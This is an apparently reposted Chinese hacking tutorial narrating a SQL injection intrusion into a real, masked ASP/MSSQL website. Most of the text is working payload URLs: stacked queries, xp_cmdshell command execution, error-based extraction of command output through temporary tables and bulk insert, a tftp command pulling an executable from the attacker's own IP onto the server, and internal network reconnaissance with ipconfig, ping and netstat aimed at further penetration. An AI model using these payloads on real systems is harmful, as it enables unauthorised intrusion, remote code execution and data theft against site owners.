(1)http://www.*****.com/zhuanti/zt.asp?id=34;Create table temp(id nvarchAr(255),num1 nvarchAr(255),num2 nvarchAr(255),num3 nvarchAr(255));--黑客
(2)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'md c:cxd'--黑客
(3)http://www.*****.com/zhuanti/zt.asp?id=34;Insert into temp(id) eXec master.dbo.xp_subdirs 'c:';--
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select top 1 id from temp)>0--网络安全
(5)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 2 * from temp order by 1) T order by 1 desc)S)>0--网络安全
(6)http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0--
可是在执行第一条语句是出现了错误,一般正常的注入点执行这个建表命令是不会出错的,但是这个注入点出错了,如图3:黑客 网络安全
提示信息为:数据库中已存在名为temp的对象.
疑问1:难道是这个库中以前就有temp表,那好吧,我们先把以前的表删除.语句如下:
http://www.*****.com/zhuanti/zt.asp?id=34;Drop table temp--信息来自:http://www.3ast.com.cn
可这次又出错了,提示:无法除去,表不存在.这就怪事了,刚才建表是重复建表,出错..现在删表又不存在了?搞得人一头雾水...再试,建个temp1表,提示如故:数据库中已存在名为temp1的对象。网络安全
疑问2:难道是数据库跟我们捉迷藏,我们建哪个表删哪个表,它就事先知道,先我一步把它搞定了?不太可能呀,数据库还达不到这样的智能程度。想来想去,那只有一种可能:那就是我们提交一句注入语句被执行了多次,当第一次执行成功后,后面的再执行当然就会出现重复建表、重复删表的错误了。只是一时还得不到验证。既然建表已经成功,那我们就依次提交第(2)至第(4)条语句,暴出表temp第一条记录ID列的内容:cxd 呵呵,正是我所希望的,c盘上存在一个名为cxd的目录,说明此注入点可执行命令。接着再来暴表temp第二条记录的内容,提交第(5)句,得到内容还是:cxd,再提交:黑客
http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top 3 * from temp order by 1) T order by 1 desc)S)>0--
暴第三条记录的内容,还是cxd,接着,继续。。
http://www.*****.com/zhuanti/zt.asp?id=34 and (Select id from (Select top 1 * from (Select top x * from temp order by 1) T order by 1 desc)S)>0--信息来自:http://www.3ast.com.cn
把X 的位置依次换成4 5 6 7 8,换成4时,暴出内容为:cxd 换成5时,暴出内容为:Documents and Settings 呵呵,原来第1至4条记录是相同的,第5至8是相同的。现在终于验证了我当前的推断,同一条语句被执行了4次,导致执行一句插入语句,产生了四条记录。这就是上面建表提示出错的原因,所以任何返回信息只是一种参考信息,它并不一定就是对了,或许会带有一些迷惑性,我们在注入时要分清楚,哪些是真实的返回,哪些是虚假的。
好了,知道这个注入点可执行命令了,下一步当然是用扫描器扫端口了,看是否开3389,扫描结果如下:只开了21 80端口,看来加用户3389登录是没戏了,那就试试TFTP上传吧,注入语句如下:网络安全
http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'tftp -i 221.121.125.20 get ps.exe c:ps.exe'--黑客
说明一下:221.121.125.20是我自己电脑的外网IP,tftp -i 221.121.125.20 get ps.exe c:ps.exe是从我的电脑上下载ps.exe保存在它的C盘根目录下。在提交前,先在本机上运行一下tftpd32.exe,这个程序网上有,大家可以自己搜索一下。图形界面的程序,大家一看就会用了,如图4:信息来自:http://www.3ast.com.cn 黑客
点提交后,TFTPD32的窗口一点反应都没有,如果有机器连接进来并且下载东东的话,TFTPD32窗口会显示对方的IP及下载的文件名,没反应,可能是 MSSQL服务器在内网不能上互联网或者被防火墙拦截了。好了,既然我们有执行命令的权限,那我们怎样进一步判断它的MSSQL数据库是在内网还是外网或者安装了什么杀毒软件,什么防火墙呢?还或者其它一些你所感兴趣的东东呢?[next]黑客
入侵思路:利用xp_cmdshell存储过程执行一些命令保存结果到磁盘上,然后利用bulk insert语句将这个文件读入表中,然后利用注入语句将表内容暴出来,我们就知道了命令执行的结果了.
(1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ipconfig /all c:cxd.txt'--信息来自:http://www.3ast.com.cn
说明一下:利用xp_cmdshell执行命令:ipconfig /all并将结果保存到c:cxd.txt中.
(2)http://www.*****.com/zhuanti/zt.asp?id=34;Create table foo(line varchar(8000))--信息来自:http://www.3ast.com.cn
(3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'--黑客
说明一下:bulk insert将文本文件c:cxd.txt读入表foo中.
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect top 1 line from foo)>0--网络安全
暴表foo第1条记录内容
(5)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top 5 * from foo order by 1) T order by 1 desc)S)>0--
暴第5条记录内容,也就是c:cxd.txt第二行内容,前面说过了,每隔4条记录为一组.呵呵...
依次类推,把所有内容都暴出来...省略若干.....
结果如图5:网络安全
从中可看出这台机器在内网,
IP地址是:
IP Address. . . . . . . . . . . . : 192.168.0.123
IP Address. . . . . . . . . . . . : 192.168.0.7
网关是:
Default Gateway . . . . . . . . . : 192.168.0.1
内网的机器就比较棘手了。不知道它能不能访问互联网。
我们可以在这台机器上运行一下ping www.tom.com看返回情况,注入语句如下:黑客
(1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ping www.tom.com>c:cxd.txt'--
(2)http://www.*****.com/zhuanti/zt.asp?id=34;dElete from foo-- 清空表内容网络安全
(3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'--网络安全
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top X * from foo order by 1) T order by 1 desc)S)>0--网络安全
把X依次换成1 5 9 13 17 21 25 29 。。。。省略N多,暴出内容来,返回如下:
Ping request could not find host www.tom.com. Please check the name and try again.
再试下直接ping IP的方法
(1)http://www.*****.com/zhuanti/zt.asp?id=34;eXec master.dbo.xp_cmDshell 'ping 202.108.12.68>c:cxd.txt'--黑客
(2)http://www.*****.com/zhuanti/zt.asp?id=34;dElete from foo-- 清空表内容黑客
(3)http://www.*****.com/zhuanti/zt.asp?id=34;bulk iNsert foo from 'c:cxd.txt'--黑客
(4)http://www.*****.com/zhuanti/zt.asp?id=34 and (sElect line from (sElect top 1 * from (sElect top X * from foo order by 1) T order by 1 desc)S)>0--网络安全
X依次换成1 5 9 13 17 21 25 29 33
返回:Packets: Sent = 4, Received = 0, Lost = 4 (100% loss) 丢包是100%,完全ping不通互联网,看来这台内网的MSSQL服务器是没有连接互联网的,那我们的入侵就到此止了吗?不。。我们还可以进一步进行渗透,也许就能找到些突破口呢!黑客
先看一下端口吧,注入语句:
(1)http://www.*****.com/zhuanti/zt.asp?id=34;drop TABLE D99_CMD;Create TABLE D99_CMD([Data][varchAr](1000),ID int NOT NULL IDENTITY (1,1));Insert D99_CMD eXec master.dbo.xp_Cmdshell 'netstat -an;--网络安全
(2)http://www.*****.com/zhuanti/zt.asp?id=34 And (Select Top 1 chAr(124)%2Bdata%2BchAr(124) From (Select Top x [ID],[Data] From D99_CMD Order by [ID]) T Order by [ID] desc)>0--网络安全
X依次换成1 2 3 4 5 6 7 8 9......就可以暴出它的端口连接情况。其它端口都比较正常,只是有一个端口比较陌生,8389端口。网络安全